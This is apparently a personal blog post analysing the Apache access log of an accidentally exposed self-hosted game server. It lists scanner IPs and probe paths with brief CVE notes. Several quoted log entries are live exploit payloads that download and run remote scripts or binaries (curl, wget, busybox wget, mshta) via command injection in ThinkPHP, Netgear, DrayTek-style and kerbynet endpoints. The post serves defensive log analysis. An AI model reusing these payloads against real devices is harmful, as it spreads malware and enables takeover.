I Wanted to Play and I Got Hacked

Published in

The Startup

8 min readJan 1, 2021

Okay…I wasn’t actually hacked, they only tried to hack me. This is the story of me analysing what could have really happened.

Story

Back in the days I used to play travian, I liked to compete with other players, build the WW as a clan and win. But what I really liked was building my empire. Since I am older I don’t really have time for such a competitive game having to spend hours daily to be in the top 100. So I decided to deploy a self-hosted travian server for myself, where I’m alone and I can build the empire on my own, just for fun.

I used a German private server provider to create a cheap server with the necessary resources. I connected it to my tailscale VPN and I could access it via the internal IP. I usually use DigitalOcean where I can manage the firewall rules on the UI, but this provider didn’t have this feature, so I asked one of my friends who helped me write some iptables rules to remove the inbound traffic from the public IP (thanks D3v). That worked properly. After that I created a docker-lamp docker-compose file to host the travian server. It contained the apache server (I’m not dumb, in production I’m using normal server solutions) with port 80, 443. Also a mysql with port 3306 and a phpmyadmin with port 8080 what I actually didn’t use but I was lazy enough not to remove it from the copy&pasted docker-compose file.

docker-compose up

I spent 10–20 min per day to build it, that was enough for me to get the old feeling. After one and half month two other players appeared and I’m like, WHAT? I didn’t deal with any securities because I thought that the iptables doesn’t allow anything inbound on the public IP. I quickly checked it and I immediately saw it… the docker overwrote the rules to expose the port numbers from docker images. That’s not a big deal, because everything is isolated in docker and if someone got out from the docker the person would end up on a server which has nothing on it. So I left it to collect the access.log in Apache and I started to HACK my own server.

Since I didn’t care about security at all, that was really easy because there was a ton of vulnerabilities. (My favorite one was the MySQL root password: tiger)

Nmap

$ nmap -sV -A 4.X.X.X
Starting Nmap 7.70 ( https://nmap.org ) at 2021-01-01 11:28 CET
Nmap scan report for static.XXX (4.X.X.X)
Host is up (0.000096s latency).
Not shown: 995 closed ports
PORT     STATE    SERVICE    VERSION
XXXX
80/tcp   filtered http
443/tcp  filtered https
3306/tcp filtered mysql
8080/tcp filtered http-proxy
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.7 - 3.10
Network Distance: 0 hops

So that’s exactly what should be available, I wasn’t surprised at all. I’m totally sure that someone got access to the phpmyadmin, but who cares. So at my first round I started to analyse the Apache’s access log. This blog post will go through the details of the access.log file.

Rust analyser

I’m still learning Rust so bear with me. So you can find the analyser code here. There was a ~45.000 line access.log, so that took some milliseconds to analyse it properly. I wrote 3 handler and read the access.log line-by-line.

The first handler collected the ip addresses and what paths do they tried to challenge. That was huge, so I filtered out the lines with status code of 200–399. These are status codes what I don’t care about, because the server is so specific to build a proper attack against it. What I do care about is the 404 status code, because these are the actual automated attacks. At this case this is valuable information.

The second handler collected all of the ip addresses (also filtered out the status codes), and ran them against the ip-api.com. That took a really long time because the API is rate limited to 45 requests per minute.

The third collected the paths what the “hackers” tried against the server. I filtered the status codes here too. That found 8019 different paths. This is the most valuable information because I could see how the automated systems tried to get into my system.

Analysing the ip addresses

This is the easier part so I don’t want to go into details at this point. The funny part is that 53% of the requests came from DigitalOcean and Cloudflare ip ranges.

I have seen 4 outstanding IP addresses. I analysed what they were trying to accomplish. There were a huge amount of requests from these addresses.

117.34.117.155 already has a bad reputation. The address is from China. It did a massive scan with buffer overflow attacks, WordPress scan, Drupal scan, phpMyAdmin scan, etc. It totally looked like an automated checklist of several frameworks.

119.28.222.106 also with a bad reputation. Made the exact same scan as the first one, but it originated from Hong Kong.

156.96.117.228 has a better past than the previous ones, but it is still compromised. This scan was actually way more sophisticated because it didn’t just look for common vulnerabilities, it rather tried several home network, SQLite and PMA as well.

190.85.102.124 has the best score, reported only 34 times. This Columbia based IP has the same scanner as the first two had.

Analysing the paths

I won’t check all of the different paths since most of them are worthless, but I found some awesome miracles. Note: It’s not ranked, it’s more like an alphabetic order. I’m not a certified security engineer, so please feel free to correct me if I’m wrong.

method: "GET",
path: "/%69%73%70%69%72%69%74/%69%6D/%75%70%6C%6F%61%64%2E%70%68%70",
status_code: "404",
total_access: 4

I have seen several of these ASCII like paths. It’s clear that it is using hex numbers. I tried to translate it to letters. I got ispiyti`upload.php so it seems something like a buffer-overflow. After a deeper research I found CVE-2012–1823.

method: "GET",
path: "/.env",
status_code: "404",
total_access: 89

There were multiple requests for dotfiles, specifically for the .env. Also .ftpconfig, .git/config, .local, .production and .vscode/xxx

method: "GET",
path: "/blog/wp-includes/wlwmanifest.xml",
status_code: "404",
total_access: 9

There were lots of requests against WordPress related paths, but this wlwmanifest.xml was outstanding. I didn’t want to do too much research on WP since there are many people talking about those topics. This is the best what I can show.

method: "GET",
path: "/core/Datavase/.env",
status_code: "404",
total_access: 1

This is actually funny. When you have an automated script with a typo like this. ‘Datavase’ should be Database. I checked the IP, 129.x.x.x from Singapore, had 63 entries in the access.log.

method: "GET",
path: "/fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media",
status_code: "404",
total_access: 1

This editor plugin has a known vulnerability. The attacker can upload arbitrary files.

method: "GET",
path: "/public/index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=mshta%20%20http://192.168.136.1:9814/123.hta",
status_code: "404",
total_access: 1

ThinkPHP seems to be a Chinese CMS or something like that (I don’t speak Chinese), it has a remote code execution vulnerability.

method: "POST",
path: "/vendor/phpunit/Util/PHP/eval-stdin.php",
status_code: "404",
total_access: 1

This vulnerability has a CVE, so there can be more details based on the CVE-2017–9841 number. I don’t see why phpunit should take place at any production system, but if you didn’t remove it yet, there is a walkthrough about it.

method: "GET",
path: "/xmlrpc.php?rsd",
status_code: "404",
total_access: 7

This is a remote posting functionality mostly used in WordPress, but several other blog engines adopted it as well. It is probably the source of many vulnerabilities. These are the most common ones.

method: "POST",
path: "/HNAP1/",
status_code: "400",
total_access: 10

Let’s start with the status_code… I don’t know why it is 400 instead of 404. The HNAP is a protocol mostly taking place on the home routers. This can be a source of vulnerabilities where the attacker can get into local networks.

#10

method: "GET",
path: "/Telerik.Web.UI.WebResource.axd?type=rau",
status_code: "404",
total_access: 1

As I got it, Telerik is a UI/WebForms library for ASP.NET sites. It has the CVE-2017–11317 vulnerability for file upload because of weak encryption.

#11

method: "GET",
path: "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.X.X%2Fzero;sh%20zero;%22",
status_code: "404",
total_access: 51

This looks like a pretty common vulnerability since it appears 51 times, exactly the same string. Looks like that it wanted to run a shell script called zero, and it has been downloaded from a remote host. I removed the IP, just because of privacy. After a deeper research I found out that it’s a known vulnerability for Remote Root Command Injection, with the CVE-2019–12725 number.

#12

method: "GET",
path: "/hls/74be3ec0a7cbfa24ba6800ee91bf1d82/74be3ec0a7cbfa24ba6800ee91bf1d82.m3u8",
status_code: "404",
total_access: 24

Someone was a good guy and created a proxy server pointing to my server with the domain name of protonvideo.com and I guess this is why I have several hls requests. The hls is a streaming protocol over HTTP which splits the video into smaller chunks and serve it via a corresponding metadata. That’s not a vulnerability, some just wanted to use the protonvideo site.

#13

method: "GET",
path: "/jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%20%70%75%62%6c%69%63%20%78%28%29%20%7b%20%22%70%69%6e%67%20%2d%63%20%31%20%34%37%2e%31%31%33%2e%31%38%37%2e%32%33%30%22%2e%65%78%65%63%75%74%65%28%29%3b%20%7d%20%7d",
status_code: "404",
total_access: 1

This one seems like it’s trying to bypass a Jenkins. Basically the value contains a malicious payload which doing something on the backend. CVE-2019–1003030 details it, I didn’t want to translate the ASCII hex, but it has the actual human-readable payload under the link.

#14

method: "GET",
path: "/phpMyAdmin-2.2.3/",
status_code: "404",
total_access: 1

This is just funny, because someone tried out nearly 30 version of this directory, however there is a fully functioning phpmyadmin on another port…

#15

method: "GET",
path: "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://103.73.X.X:60330/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1",
status_code: "404",
total_access: 1

This looks like a NetGear vulnerability. I kinda like the title of this exploitDB site… “Multiple vulnerabilities”. So someone tried to download a malicious script to the router and run it with sh netgear.

#16

method: "GET",
path: "/w00tw00t.at.ISC.SANS.DFind:)",
status_code: "400",
total_access: 6
---- AND
method: "GET",
path: "/w00tw00t.at.blackhats.romanian.anti-sec:)",
status_code: "404",
total_access: 11

I think this is the weirdest one. The best I could find is that it’s the ZmEu scanner’s fingerprint.

#17

method: "POST",
path: "/cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a",
status_code: "400",
total_access: 2

This is the most specific scan, because most of them are really common vulnerabilities, but this one downloads an arm7 binary and tries to run it. 19ce033f.ngrok.io is a banned domain because of a malware content downloader. The report can be found here.

Further improvements

I see the improvements on this topic.

Firstly, it would make sense to improve my Rust library to be able to analyse common log formats and make it extendable for custom log format analysis as well.

Secondly, the dataset has lots of extra pieces of information which I didn’t use. Specifically the time when the requests hit the server. I could place them in a time-series database and analyse the time when certain attacks came. Based on the it would be easy to build patterns, how certain attackers behave.

Conclusion

It seems that the higher percentage of attacks are aiming PHP sites and mostly WordPress. There wasn’t a specific attack against the server (or at least I don’t know about it). All of the attacks came from scanners looking for possible vulnerabilities.